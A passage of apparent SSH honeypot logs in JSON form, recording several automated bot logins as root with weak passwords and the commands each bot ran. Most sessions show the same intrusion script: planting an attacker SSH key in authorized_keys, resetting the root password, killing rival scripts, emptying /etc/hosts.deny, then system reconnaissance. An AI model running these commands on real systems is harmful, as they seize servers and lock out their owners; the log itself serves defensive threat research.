ls)"},{"seq":12,"at":"2026-08-26T16:41:42.992734+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:41:43.519754+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:41:44.135259+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:41:44.655350+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:41:45.245252+00:00","kind":"output","latency_ms":null,"data":" 16:41:45 up 6 days, 13:31, 0 user, load average: 0.34, 0.24, 0.38\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:41:45.768404+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:41:46.335882+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:41:46.864202+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:41:47.161352+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:41:47.687601+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:41:48.311650+00:00","kind":"output","latency_ms":null,"data":"top - 16:41:48 up 6 days, 13:31, 0 user, load average: 0.34, 0.24, 0.38\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:41:48.841413+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:41:49.339807+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:41:49.865165+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:41:50.618096+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:41:51.139437+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:41:51.920339+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:41:52.449717+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:41:53.499697+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:41:54.035342+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:41:55.227469+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test123","method":"password","accepted":true,"tier":"other"}]} {"id":"0cf5ac88-aba7-4987-86b4-c7729d5c142d","name":"sincere-lively-vole","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":40512,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:39:02.987858+00:00","ended_at":"2026-08-26T16:39:04.412047+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2214,"events":[{"seq":1,"at":"2026-08-26T16:38:39.679967+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:38:40.203704+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:38:45.770791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:38:46.669525+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:38:47.197468+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9Wi5q9237tYS\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:38:47.720414+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:38:48.243747+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:38:48.652947+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:38:49.182279+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:38:50.465555+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:38:50.988894+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:38:52.224056+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:38:52.744437+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:38:53.350514+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:38:53.872595+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:38:54.724550+00:00","kind":"output","latency_ms":null,"data":" 16:38:54 up 6 days, 13:29, 0 user, load average: 0.27, 0.33, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:38:55.258935+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:38:55.919882+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:38:56.443915+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:38:56.775837+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:38:57.304405+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:38:57.591252+00:00","kind":"output","latency_ms":null,"data":"top - 16:38:57 up 6 days, 13:29, 0 user, load average: 0.27, 0.33, 0.3\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:38:58.113852+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:38:58.716791+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:38:59.238798+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:38:59.620849+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:39:00.139949+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:39:00.481628+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:39:01.003886+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:39:02.459352+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:39:02.988955+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:39:04.249150+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"toor","method":"password","accepted":true,"tier":"common"}]} {"id":"b91537f6-9ff1-4eeb-af5b-04d617557b37","name":"airy-honest-chough","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":40950,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":496,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:33:02.375277+00:00","ended_at":"2026-08-26T16:33:03.404191+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-26T16:32:39.088057+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:32:39.582448+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:32:44.833136+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:32:45.393227+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:32:45.890745+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fSlzw5t4Dcl1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:32:46.389123+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:32:46.890782+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:32:47.522889+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:32:48.018824+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:32:48.863761+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:32:49.365229+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:32:50.844398+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:32:51.335324+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:32:52.096680+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:32:52.590380+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:32:53.003161+00:00","kind":"output","latency_ms":null,"data":" 16:32:53 up 6 days, 13:23, 0 user, load average: 0.33, 0.36, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:32:53.501603+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:32:54.069756+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:32:54.567134+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:32:55.414586+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:32:55.912144+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:32:56.332501+00:00","kind":"output","latency_ms":null,"data":"top - 16:32:56 up 6 days, 13:23, 0 user, load average: 0.33, 0.36, 0.26\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:32:56.825369+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:32:57.208333+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:32:57.701744+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:32:58.427194+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:32:58.928591+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:32:59.829885+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:33:00.325472+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:33:01.877989+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:33:02.376233+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:33:03.243576+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qa12pl09","method":"password","accepted":true,"tier":"other"}]} {"id":"7309f578-a866-4771-bdff-e5bd2781e96b","name":"blunt-honest-martin","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":37414,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":512,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:24:06.570257+00:00","ended_at":"2026-08-26T16:24:08.047062+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-26T16:23:42.751251+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:23:43.264212+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:23:49.658222+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:23:49.939311+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:23:50.458302+00:00","kind":"input","latency_ms":null,"data":"echo \"root:vTPF1H4TL5je\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:23:50.971298+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:23:51.483606+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:23:52.049377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:23:52.563107+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:23:53.685386+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:23:54.197903+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:23:55.203290+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:23:55.711996+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:23:56.099107+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:23:56.615253+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:23:57.358926+00:00","kind":"output","latency_ms":null,"data":" 16:23:57 up 6 days, 13:14, 0 user, load average: 0.2, 0.26, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:23:57.870654+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:23:58.672851+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:23:59.184111+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:23:59.542001+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:24:00.049512+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:24:00.643812+00:00","kind":"output","latency_ms":null,"data":"top - 16:24:00 up 6 days, 13:14, 0 user, load average: 0.2, 0.26, 0.12\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:24:01.153505+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:24:01.737636+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:24:02.250912+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:24:03.062223+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:24:03.590509+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:24:04.290327+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:24:04.791652+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:24:06.065528+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:24:06.572523+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:24:07.878300+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"6yhn^YHN","method":"password","accepted":true,"tier":"other"}]} {"id":"f57ca815-b782-4e35-be98-071ce4ec1f9d","name":"somber-mottled-snipe","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":59328,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":534,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:14:52.536092+00:00","ended_at":"2026-08-26T16:14:53.834919+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2126,"events":[{"seq":1,"at":"2026-08-26T16:14:28.511262+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:14:29.042088+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:14:34.657513+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:14:35.484069+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:14:36.022591+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FRZiu4DJdryd\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:14:36.565430+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:14:37.093852+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:14:37.429192+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:14:37.986746+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:14:39.236376+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:14:39.767111+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:14:40.819377+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:14:41.347138+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:14:41.884622+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:14:42.410380+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:14:43.064190+00:00","kind":"output","latency_ms":null,"data":" 16:14:43 up 6 days, 13:04, 0 user, load average: 0.2, 0.24, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:14:43.593485+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:14:44.405911+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:14:44.941288+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:14:45.771092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:14:46.308124+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:14:46.683301+00:00","kind":"output","latency_ms":null,"data":"top - 16:14:46 up 6 days, 13:04, 0 user, load average: 0.2, 0.24, 0.21\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:14:47.230600+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:14:47.805172+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:14:48.349868+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:14:49.208639+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 